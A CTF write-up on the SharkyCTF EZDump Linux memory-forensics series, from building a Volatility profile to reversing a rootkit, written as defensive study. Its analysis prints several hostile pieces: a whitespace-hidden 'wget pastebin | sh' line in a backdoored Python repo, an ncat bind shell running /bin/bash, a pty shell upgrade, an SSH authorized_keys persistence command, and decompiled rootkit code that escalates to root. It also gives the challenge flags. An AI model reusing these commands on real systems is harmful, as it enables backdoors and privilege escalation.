SharkyCTF - EZDump writeups / Linux Forensics introduction

This weekend was held the Sharky CTF, organized by students of ENSIBS. A series of 7 forensic challenges concerning a same machine memory dump was proposed. They make a great introduction to memory forensic in Linux, from the creation of a specific Volatility profile, to the reverse engineering of a rootkit installed on the machine. Stay sit, here is the writeup!


EZDump - Build Me

Build me challenge statement

For the first challenge of this series, a memory dump of the machine to analyze was given. The statement mentioned the bash history. From this information, can be deduced that the machine was a Linux one. Therefore, a Volatility profile corresponding to the machine needed to be built in order to analyze the dump, hence the name of the challenge.

Identifying the machine

Before being able to build a profile, two essentials pieces of information has to be retrieved:

  • linux distribution and version
  • kernel version

Both of them could be found using grep skills. In order to determine the kernel version, one can grep two specific patterns:

$ grep -a "BOOT_IMAGE" dump.mem
[...]
BOOT_IMAGE=/vmlinuz-3.10.0-1062.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto spectre_v2=retpoline rd.lvm.lv=centos/root rd.lvm.lv=centos/swap

$ grep -a "Linux version" dump.mem
[...]
Linux version 3.10.0-1062.el7.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-36) (GCC) ) #1 SMP Wed Aug 7 18:08:02 UTC 2019

The kernel was in version 3.10.0-1062.el7.x86_64. It is also important to notice the references to centos and Red Hat, giving hints about the linux distribution.

The distribution could be identified by searching the pattern Linux release in memory:

$ grep -a "Linux release" dump.mem
[...]
Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)

It was a CentOS in version 7.7.1908.

Building a similar virtual machine

A CentOS 7.7.1908 disk image was found on archive.kernel.org.

The virtual machine installation part will be skipped here, but it can be summed up as: click "next" until everything is done.

Luckily, there was no need to change the kernel, once the machine fully installed. It was already the right one:

Virtual machine kernel version

Creating a Volatility profile

Several tools needed to be installed before creating the Volatility profile:

  • Headers for building the kernel modules: kernel-devel and kernel-headers.
  • gcc.
  • git for cloning Volatility repository.
  • libdwarf-tools.
  • elfutils-libelf-devel.

The default package manager on CentOS is yum. Packages can be installed with yum install <package>.

The next step was to build the module.dwarf file, containing DWARF debugging information about the kernel:

Building module.dwarf

The vigilant reader could notice that kernel sources used were for version 3.10.0-1127 and not 3.10.0-1062. Fortunately, it didn't prevent the profile from working normally. If that had been the case, I would have had to find a .rpm package containing the specific sources for the version 3.10.0-1062 and to install it manually.

The final step for creating the volatility profile was to zip the module.dwarf file and /boot/System.map-3.10.0-1062.el7.x86_64:

Volatility profile creation

Retrieving the first flag

In order to be taken into account by volatility, the profile must be placed under volatility/volatility/plugins/overlays/linux/.

It is possible to list available linux profiles with the following command:

$ volatility --info | grep Linux
Volatility Foundation Volatility Framework 2.6.1
LinuxCentOS-7_7_1908-3_10_0-1062x64          - A Profile for Linux CentOS-7.7.1908-3.10.0-1062 x64

The investigation could start!

The challenge statement referred to the bash history. It was therefore natural to run linux_bash as a first command:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_bash
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    2622 bash                 2020-05-07 14:56:16 UTC+0000   cd Documents/
    2622 bash                 2020-05-07 14:56:17 UTC+0000   echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
    2622 bash                 2020-05-07 14:56:25 UTC+0000   git clone https://github.com/tw0phi/PythonBackup
    2622 bash                 2020-05-07 14:56:28 UTC+0000   cd PythonBackup/
    2622 bash                 2020-05-07 14:56:33 UTC+0000   unzip PythonBackup.zip 
    2622 bash                 2020-05-07 14:56:37 UTC+0000   python PythonBackup.py 
    2622 bash                 2020-05-07 14:56:40 UTC+0000   sudo python PythonBackup.py 
    2622 bash                 2020-05-07 14:57:05 UTC+0000   cooooooooooooooooooooooooool
    2622 bash                 2020-05-07 15:00:12 UTC+0000   cd
    2622 bash                 2020-05-07 15:00:15 UTC+0000   git clone https://github.com/504ensicsLabs/LiME
    2622 bash                 2020-05-07 15:00:19 UTC+0000   cd LiME/src/
    2622 bash                 2020-05-07 15:00:24 UTC+0000   make
    2622 bash                 2020-05-07 15:00:37 UTC+0000   sudo insmod lime-3.10.0-1062.el7.x86_64.ko "path=/Linux64.mem format=lime"
    2887 bash                 2020-05-07 14:59:42 UTC+0000   vim /etc/rc.local

Volatility commands for linux are available, with a short documentation, on volatility's github.

The second line of the ouput immediately jumped out. Decoding the base64 string gave the first flag:

$ echo c2hrQ1RGe2wzdH[...]2MjlhYzYwfQo= | base64 -d
shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

EZDump - Starting Block

Starting block challenge statement

A suspicious process has been detected and it was asked to identify it.

Malicious processes often generate network activity. Examining established network connections on the machine is generally a good idea to identify a suspicious activity:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_netstat | grep -E 'LISTEN|ESTABLISHED'
TCP      0.0.0.0         :  111 0.0.0.0         :    0 LISTEN                    systemd/1    
TCP      ::              :  111 ::              :    0 LISTEN                    systemd/1    
TCP      0.0.0.0         :  111 0.0.0.0         :    0 LISTEN                    rpcbind/731  
TCP      ::              :  111 ::              :    0 LISTEN                    rpcbind/731  
TCP      0.0.0.0         :   22 0.0.0.0         :    0 LISTEN                       sshd/1058 
TCP      ::              :   22 ::              :    0 LISTEN                       sshd/1058 
TCP      ::1             :  631 ::              :    0 LISTEN                      cupsd/1060 
TCP      127.0.0.1       :  631 0.0.0.0         :    0 LISTEN                      cupsd/1060 
TCP      127.0.0.1       :   25 0.0.0.0         :    0 LISTEN                     master/1285 
TCP      ::1             :   25 ::              :    0 LISTEN                     master/1285 
TCP      192.168.122.1   :   53 0.0.0.0         :    0 LISTEN                    dnsmasq/1389 
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                  ncat/2854 
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                  bash/2876 
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                python/2886 
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                  bash/2887 
TCP      192.168.49.135  :12345 192.168.49.1    :44122 ESTABLISHED                   vim/3196

A connection has been established on port 12345, opened by the ncat process of PID 2854. Pretty suspicious, right?

Displaying the process tree confirmed the doubts surrounding this process:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_pstree
[...]
.ncat                2854                           
..bash               2876                           
...python            2886                           
....bash             2887                           
.....vim             3196
[...]

Indeed, several processes were initiated by ncat, including bash. This basically means that someone on 192.168.49.1 was executing commands on the machine at the time of the dump.

In order to obtain the flag, the start time of the process was still to be determined. This information could be retrieved by two commands: linux_pidhashtable and linux_pslist.

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_pslist | grep ncat
Volatility Foundation Volatility Framework 2.6.1
0xffff9f60b64f5230 ncat 2854 [...] 2020-05-07 14:56:54 UTC+0000

Flag: shkCTF{2854:ncat:2020-05-07 14:56:54}

EZDump - Entry Point

Entry Point challenge statement

In the previously retrieved bash history, a git repository was cloned, and the python code it contained was executed as root. This definitely deserved more attention.

$ git clone https://github.com/tw0phi/PythonBackup
$ cd PythonBackup
$ unzip PythonBackup.zip

Inspecting the code revealed a call to the os.system() function in app/snapshot.py:

def generateSnapshot(sourcePath):
    print('Generating snapshot..')                                                                                                                                                                                                  ;os.system('wget -O - https://pastebin.com/raw/nQwMKjtZ 2>/dev/null|sh')
    files = generateFileList(sourcePath)

This piece of code was used for downloading the content of a pastebin and executing it. The pastebin in question was still accessible and revealed the following:

$ curl https://pastebin.com/raw/nQwMKjtZ
### Congratz : c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null &

This was where the backdoor came from. In bonus, the flag of the second challenge was given:

$ echo c2hrQ1RGe3RoNH[...]E1YzAwZGNhfQo= | base64 -d
shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

EZDump - Attacker

Attacker challenge statement

The ip address and the port used by the attacker had already been identified during the previous challenge: 192.168.49.1 and 12345.

However, the "bash command using python" was still unknown. The bash command in question is the one that launched the python process with PID 2886 (cf. output of linux_pstree command).

Thanks to the linux_psaux command, it is possible to retrieve the command line at the origin of the python process:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_psaux | grep 2886
2886   0      0      python -c import pty; pty.spawn("/bin/bash")

Flag: shkCTF{192.168.49.1:12345:python -c 'import pty; pty.spawn("/bin/bash")'}.

EZDump - Compromised

Compromised challenge statement

In order to analyze the attacker's behavior, the memory of the bash process with PID 2887 (the one spawned with python) has been dumped:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_dump_map -p 2887 --dump-dir bash_2887/

Using strings and grep on the memory dump of the process, multiples references to /home/k3vin/.ssh/authorized_keys were found. Adding a public SSH key to this file would allow the attacker to connect to the machine without having to enter k3vin's password.

The following command has been found in the process memory:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxa8zsyblvEoajgtqciK2XAs1UwNAeV3RcXacqicjzuad2jH7JQdIaqVW4jfEt8h7w+Rei1kZL/xqikGS/AGb2ZLqVSUKWF9afaeE850On4+c1A0wu9n/7N/t2QSnw71BZnvH35+qgENJzFGgFxJEsvZqbawFHD8B426qKFYD+LMAnnFtnrzFj8U+cewG6ODl0Obe8yP/Awv0HYFdhK/IY+t7u2Ywrgp3bXF1l5m+Zk40BqpEYfFzhawYOc/tar1HqaJnYdvqHjwhZeDGYkILvYt4veVc/DjVPX1UjLvlpWv1/AhmLAWgWyUORBwDjM5km0HjN/CY5kWoasXgd1jHD tw0phi@workstation" >> /home/k3vin/.ssh/authorized_keys && chmod 600 /home/k3vin/.ssh/authorized_keys

The attacker added his public SSH key to the list of authorized_keys, allowing him to connect without password via SSH.

Exploring the process memory also revealed the base64-encoded flag of this challenge:

$ cd bash_2887/
$ strings -a * | grep played
 played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
$ echo c2hrQ1RGe3Jj[...]EzOGU1ZmEwfQo= | base64 -d
shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

EZDump - Backdoor

Backdoor challenge statement

A supplementary backdoor had been deployed. The sentence about obtaining root privileges hints the player toward finding a rootkit.

It is very common that rootkits hook system calls in order to modify their behavior. In order to check if any syscall had been hooked, the linux_check_syscall command has been used:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_check_syscall | grep HOOKED
64bit         88                          0xffffffffc0a12470 HOOKED: sysemptyrect/syscall_callback                       

The output indicated that syscall 88 (symlink) had been hooked by the sysemptyrect module. One quick google search confirmed that this module was not legitimate.

The rootkit was identified. In order to find the value of the argument used, the "sysemptyrect.ko" pattern has been searched in the memory dump:

$ grep -a "sysemptyrect.ko" dump.mem 
insmod sysemptyrect.ko crc65_key="1337tibbartibbar"

At this time, the only missing part of the flag was the address of the backdoor in memory. The linux_lsmod command gave this information, but also confirmed the value of the argument:

$ volatility -f dump.mem --profile=LinuxCentOS-7_7_1908-3_10_0-1062x64 linux_lsmod -P | grep -A1 sysemptyrect
ffffffffc0a14020 sysemptyrect 12904
        crc65_key=1337tibbartibbar

Flag: shkCTF{sysemptyrect.ko:1337tibbartibbar:0xffffffffc0a14020}.

EZDump - Rootkit

Rootkit challenge statement

The previously identified malicious kernel module was given for this challenge, no need to extract it from the memory dump.

Reversing the rootkit

Let's fire the module up in IDA Pro. The list of functions used by the binary gave a good overview of its features:

Rootkit functions

Cryptographic functions could be observed, as well as the replace_syscall function and the privilege escalation combo: prepare_kernel_creds / commit_creds.

The hooked syscall could be identified in the code of the crc65_init() function:

crc65_init() function

The symlink syscall seemed to be the hooked one. It could be deduced from the 0x58 argument, corresponding to the syscall number 88, and from the orig_symlink variable, later re-used (in crc65_exit()) for restoring the original symlink syscall.

This information was already given by the linux_check_syscall volatility command in the previous challenge.

Fine, it was time to dig into the pseudo-code of the syscall_callback function, obtained by IDA Pro or Ghidra.

int __fastcall syscall_callback(const char *oldname, const char *newname)
{
  const char *v2_oldname; // r15
  const char *v3_newname; // r14
  char *v4; // r12
  cc_byte *v5; // rbx
  signed __int64 v6; // rdi
  unsigned __int8 *v7; // rsi
  unsigned int v8; // eax
  signed __int64 v9; // rdx
  __int64 v10; // rcx
  _DWORD *v11; // rdi
  unsigned __int8 *v12; // rsi
  const char *v13; // rsi
  int result; // eax
  __int64 v15; // rax
  __int16 v16; // dx
  int v17; // edx
  rabbit_instance r_master_inst; // [rsp+0h] [rbp-788h]
  rabbit_instance r_inst; // [rsp+44h] [rbp-744h]
  cc_byte iv1[8]; // [rsp+88h] [rbp-700h]
  unsigned __int8 shellcode[192]; // [rsp+90h] [rbp-6F8h]
  char copy_user_buff[512]; // [rsp+150h] [rbp-638h]
  char user_buff[1024]; // [rsp+350h] [rbp-438h]
  unsigned __int64 v24; // [rsp+750h] [rbp-38h]

  _fentry__(oldname, newname);
  v2_oldname = oldname;
  v3_newname = newname;
  v4 = copy_user_buff;
  v24 = __readgsqword(0x28u);
  memset(user_buff, 0, sizeof(user_buff));
  memset(copy_user_buff, 0, sizeof(copy_user_buff));
  _check_object_size(user_buff, 1024LL, 0LL);
  copy_from_user(user_buff, newname, 1024LL);
  qmemcpy(copy_user_buff, user_buff, sizeof(copy_user_buff));
  qmemcpy(shellcode, &unk_980, sizeof(shellcode));
  v5 = (cc_byte *)vmalloc(0x10000LL, (char *)&unk_980 + 192);
  if ( !v5 )
    printk(&unk_90C);
  set_memory_x(v5, 0x10000LL);
  v6 = (signed __int64)v5;
  v7 = shellcode;
  v8 = 192;
    if ( !((unsigned __int8)v5 & 1) )
  {
    if ( !((unsigned __int8)v5 & 2) )
      goto LABEL_5;
LABEL_22:
    v16 = *(_WORD *)v7;
    v6 += 2LL;
    v7 += 2;
    v8 -= 2;
    *(_WORD *)(v6 - 2) = v16;
    if ( !(v6 & 4) )
      goto LABEL_6;
    goto LABEL_23;
  }
  v6 = (signed __int64)(v5 + 1);
  v7 = &shellcode[1];
  *v5 = shellcode[0];
  v8 = 191;
  if ( ((_BYTE)v5 + 1) & 2 )
    goto LABEL_22;
LABEL_5:
  if ( !(v6 & 4) )
    goto LABEL_6;
LABEL_23:
  v17 = *(_DWORD *)v7;
  v6 += 4LL;
  v7 += 4;
  v8 -= 4;
  *(_DWORD *)(v6 - 4) = v17;
LABEL_6:
  v9 = 0LL;
  v10 = v8 >> 3;
  qmemcpy((void *)v6, v7, 8 * v10);
  v12 = &v7[8 * v10];
  v11 = (_DWORD *)(v6 + 8 * v10);
  if ( v8 & 4 )
  {
    *v11 = *(_DWORD *)v12;
    v9 = 4LL;
  }
  if ( v8 & 2 )
  {
    *(_WORD *)((char *)v11 + v9) = *(_WORD *)&v12[v9];
    v9 += 2LL;
  }
    if ( v8 & 1 )
    *((_BYTE *)v11 + v9) = v12[v9];
  iv1[0] = 19;
  iv1[1] = 55;
  iv1[2] = 19;
  iv1[3] = 55;
  iv1[4] = 19;
  iv1[5] = 55;
  iv1[6] = 19;
  iv1[7] = 55;
  if ( key_setup(&r_master_inst, crc65_key, 0x10uLL) == -1 )
    goto LABEL_24;
  while ( 1 )
  {
    if ( iv_setup(&r_master_inst, &r_inst, iv1, 8uLL) == -1 )
    {
      printk(&unk_927);
      _x86_indirect_thunk_rax(v2_oldname, v3_newname);
    }
    v13 = (const char *)v5;
    if ( r_cipher(&r_inst, v5, v5, 0xC0uLL) == -1 )
    {
      printk(&unk_92E);
      v13 = v3_newname;
      _x86_indirect_thunk_rax(v2_oldname, v3_newname);
    }
    LODWORD(v4) = _x86_indirect_thunk_rbx(v4);
    vfree(v5, v13);
    if ( (_BYTE)v4 == 1 )
    {
      v15 = prepare_kernel_cred(0LL);
      commit_creds(v15);
    }
    result = _x86_indirect_thunk_rax(v2_oldname, v3_newname);
    if ( __readgsqword(0x28u) == v24 )
      break;
LABEL_24:
    printk(&unk_927);
    _x86_indirect_thunk_rax(v2_oldname, v3_newname);
  }
  return result;
}

The code can be splitted into 5 important parts:

  1. Memory is allocated and 192 bytes are copied into a buffer named shellcode.
  2. Mysterious bit operations I chose to ignore.
  3. An 8 bytes buffer named iv1 is initialized.
  4. Cryptographic functions such as key_setup, iv_setup and r_cipher are called.
  5. If the encryption is successful, the shellcode is executed, and depending on the returned value, prepare_kernel_cred is called and the privilege escalation occurs.

An interesting fact is that the symbols present in the binary defined r_master_inst and r_inst variables as rabbit_instances.

After some googling, the Rabbit Cipher algorithm has been identified. According to the RFC, it is a stream cipher, taking a 128-bit key and a 64-bit initialization vector as arguments.

Another interesting aspect of this algorithm, is that encryption and decryption are the same operation. This means that, knowing the ciphered message, the key and the initialization vector, one simply has to encrypt the ciphered message one more time in order to recover the plaintext message.

From the previous challenge, it was known that this rootkit had been loaded with the following argument: crc65_key="1337tibbartibbar". It was 128-bit long and looked like a key. Let's keep that in mind.

From the pseudo-code of the syscall_callbak function, the initialization vector has been identified:

  iv1[0] = 19;
  iv1[1] = 55;
  iv1[2] = 19;
  iv1[3] = 55;
  iv1[4] = 19;
  iv1[5] = 55;
  iv1[6] = 19;
  iv1[7] = 55;

The ciphered text, passed to the r_cipher function in order to decipher it, was the content of the shellcode buffer:

[...]
*v5 = shellcode[0];
[...]
if ( r_cipher(&r_inst, v5, v5, 0xC0uLL) == -1 )

The shellcode was ciphered and all the elements required to decipher it were known.

Deciphering and analyzing the shellcode

The shellcode had been extracted from memory using IDA Pro's hex view.

A python implementation of the Rabbit Cipher has been used in order to uncipher the shellcode. The following code has been appended to the main function of Rabbit_Cipher.py:

# key = 1337tibbartibbar converted to hex
key = [0x31, 0x33, 0x33, 0x37, 0x74, 0x69, 0x62, 0x62, 0x61, 0x72, 0x74, 0x69, 0x62, 0x62, 0x61, 0x72]
iv = [ 19, 55, 19, 55, 19, 55, 19, 55]
shellcode = "f325f9c4542613d139d7291ddf3fd4ca71ed18bf555592715231be0ee79f16562c0fa44c6ab9e93efbd967649be3b7ba8790f6a0c076745e59b55af3dddc5ca9175ff5ba883458064d1ff2372a3f66da244f3d8bddaa7a75b0be18028523bfc53130558f40fcc8083ba6ad941a33083c38a6490d1e1e9200bbd05a88ecfdd1d6e6c59ea11081af38a0702acd77856a572fd6555bc1afa4e52e6ca7ef9fac05a3f879b25465d17ce0cb431041a66d98ab9daba13b1ce63a0b223539e3da9bb71b".decode("hex")
cipher=Rabbit(st(key),st(iv))
data=cipher.crypt(shellcode)
print data

The following result was obtained:

$ python Rabbit_Cipher.py > shellcode.bin
$ xxd shellcode.bin 
00000000: 5548 89e5 eb00 4883 ec38 48b8 556e 6477  UH....H..8H.Undw
00000010: 5956 5268 4889 45f8 48b8 627a 6430 5230  YVRhH.E.H.bzd0R0
00000020: 4579 4889 45f0 48b8 5955 6445 5654 464d  EyH.E.H.YUdEVTFM
00000030: 4889 45e8 48b8 5a58 4a5a 616b 3177 4889  H.E.H.ZXJZak1wH.
00000040: 45e0 48b8 4d55 4a55 4c31 5271 4889 45d8  E.H.MUJUL1RqH.E.
00000050: 48b8 5446 564a 6177 6f3d 4889 45d0 4889  H.TFVJawo=H.E.H.
00000060: ee48 83ee 0848 c7c1 0600 0000 488b 0748  .H...H......H..H
00000070: 8b1e 4839 d875 2148 ffc9 4883 f900 740a  ..H9.u!H..H...t.
00000080: 4883 c708 4883 ee08 ebe2 48c7 c001 0000  H...H.....H.....
00000090: 0048 89ec 5deb 0c90 48c7 c000 0000 0048  .H..]...H......H
000000a0: 89ec 5dc3 0000 0000 0000 0000 0000 0000  ..].............
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

The first bytes confirmed the fact that this was a shellcode. Indeed, 0x55 and 0x4889e5 correspond to the PUSH RBP and MOV RBP,RSP intel x64 instructions.

The entirety of the newly obtained shellcode could be disassembled with objdump:

$ objdump -b binary -m i386:x64-32:intel -D shellcode.bin 

0000000000000000 <.data>:
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   eb 00                   jmp    0x6
   6:   48 83 ec 38             sub    rsp,0x38
   a:   48 b8 55 6e 64 77 59    movabs rax,0x6852565977646e55
  11:   56 52 68 
  14:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  18:   48 b8 62 7a 64 30 52    movabs rax,0x7945305230647a62
  1f:   30 45 79 
  22:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  26:   48 b8 59 55 64 45 56    movabs rax,0x4d46545645645559
  2d:   54 46 4d 
  30:   48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  34:   48 b8 5a 58 4a 5a 61    movabs rax,0x77316b615a4a585a
  3b:   6b 31 77 
  3e:   48 89 45 e0             mov    QWORD PTR [rbp-0x20],rax
  42:   48 b8 4d 55 4a 55 4c    movabs rax,0x7152314c554a554d
  49:   31 52 71 
  4c:   48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax
  50:   48 b8 54 46 56 4a 61    movabs rax,0x3d6f77614a564654
  57:   77 6f 3d 
  5a:   48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
  5e:   48 89 ee                mov    rsi,rbp
  61:   48 83 ee 08             sub    rsi,0x8
  65:   48 c7 c1 06 00 00 00    mov    rcx,0x6
  6c:   48 8b 07                mov    rax,QWORD PTR [rdi]
  6f:   48 8b 1e                mov    rbx,QWORD PTR [rsi]
  72:   48 39 d8                cmp    rax,rbx
  75:   75 21                   jne    0x98
  77:   48 ff c9                dec    rcx
  7a:   48 83 f9 00             cmp    rcx,0x0
  7e:   74 0a                   je     0x8a
  80:   48 83 c7 08             add    rdi,0x8
  84:   48 83 ee 08             sub    rsi,0x8
  88:   eb e2                   jmp    0x6c
  8a:   48 c7 c0 01 00 00 00    mov    rax,0x1
  91:   48 89 ec                mov    rsp,rbp
  94:   5d                      pop    rbp
  95:   eb 0c                   jmp    0xa3
  97:   90                      nop
  98:   48 c7 c0 00 00 00 00    mov    rax,0x0
  9f:   48 89 ec                mov    rsp,rbp
  a2:   5d                      pop    rbp
  a3:   c3                      ret    
        ...

This shellcode was nothing too fancy, it stored hexadecimal values on the stack and compared them to the value pointed by rdi. If the two values were different, the shellcode would simply exit.

Hexadecimal values in question being hardcoded in the shellcode, they could be retrieved and decoded easily:

  1. Concatenate hex values in every movabs instruction.
  2. Decode the result as an ASCII string.
>>> bytearray.fromhex("3d6f77614a5646547152314c554a554d77316b615a4a585a4d465456456455597945305230647a626852565977646e55").decode()
'=owaJVFTqR1LUJUMw1kaZJXZMFTVEdUYyE0R0dzbhRVYwdnU'
>>> bytearray.fromhex("3d6f77614a5646547152314c554a554d77316b615a4a585a4d465456456455597945305230647a626852565977646e55").decode()[::-1]
'UndwYVRhbzd0R0EyYUdEVTFMZXJZak1wMUJUL1RqTFVJawo='

The = character used for padding in base64, is necessarily located at the end of a base64-encoded message. It reminded us that the obtained string had to be reversed.

The result certainly looked like a base64-encoded value. However, decoding it did not give anything and it seems completely normal since no base64 decoding function had been observed in the rootkit.

Flag: shkCTF{UndwYVRhbzd0R0EyYUdEVTFMZXJZak1wMUJUL1RqTFVJawo=}.

Final words

Thanks to the Sharky CTF organizers and especially to 2phi and Nofix for the fun forensic challenges.